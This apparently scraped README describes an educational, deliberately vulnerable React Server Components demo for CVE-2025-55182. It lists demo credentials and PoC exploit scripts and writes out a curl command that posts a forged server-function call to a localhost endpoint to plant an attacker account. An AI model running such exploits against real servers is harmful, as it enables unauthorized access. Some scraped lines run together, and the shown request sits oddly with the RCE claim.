
"Once upon a time, the Castle of Reactland trusted all Flight messages... until The Imposter arrived." A storytelling CVE-2025-55182 (React2Shell) demo - Medieval-themed vulnerable React Server Components app for security education.
This project demonstrates a critical RCE vulnerability (CVE-2025-55182 / React2Shell) in React Server Components 19.1.1.
This project demonstrates CVE-2025-55182 (React2Shell), a critical Remote Code Execution (RCE) vulnerability in React Server Components 19.1.1. The application includes:
react-cve-demo/
├── package.json # React 19.1.1 with react-server-dom-webpack
├── server.js # Custom React server with RSC support
├── src/
│ ├── App.jsx # Main React component
│ ├── Login.jsx # Login page component
│ ├── Dashboard.jsx # Protected page component
│ └── server-components/ # Server Components
│ └── AuthServer.jsx # Server-side auth logic
├── data/
│ └── users.json # User credentials storage
├── Dockerfile # Docker containerization
├── docker-compose.yml # Docker Compose setup
├── .dockerignore
├── exploit/
│ ├── poc.js # POC exploit script (Node.js)
│ └── poc.sh # POC exploit script (bash/curl)
└── README.md # This file
npm install
npm start
Build and run with Docker Compose:
docker-compose up --build
Or build and run manually:
docker build -t react-cve-demo .
docker run -p 3000:3000 react-cve-demo
Access the application at http://localhost:3000
admin, Password: securepassword123user1, Password: password123The vulnerability exists in the RSC Flight protocol's deserialization mechanism. The exploit:
node exploit/poc.js
Or with a custom target URL:
TARGET_URL=http://localhost:3000 node exploit/poc.js
./exploit/poc.sh
Or with a custom target URL:
TARGET_URL=http://localhost:3000 ./exploit/poc.sh
One-line version:
curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
Multi-line version (for readability):
curl -X POST http://localhost:3000/rsc \
-H "Content-Type: application/json" \
-d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
Note: A copy-paste ready one-line command is also available in
exploit/curl-oneline.txt
After running the exploit:
data/users.jsonhackerhacked123The vulnerability exists in React Server Components 19.1.1, specifically in:
react-server-dom-webpackThe server (server.js) implements:
/rsc)data/users.json) storing credentialsThe RSC Flight protocol endpoint accepts:
action: "callServerFunction": Execute server functionsaction: "renderRSC": Render React Server ComponentsThe vulnerability exists in how Server Function calls are deserialized and executed.
npm install)docker-compose logsMIT License - For educational purposes only
This software is provided for educational and security research purposes only. The authors and contributors are not responsible for any misuse or damage caused by this software. Use at your own risk and ensure compliance with all applicable laws and regulations.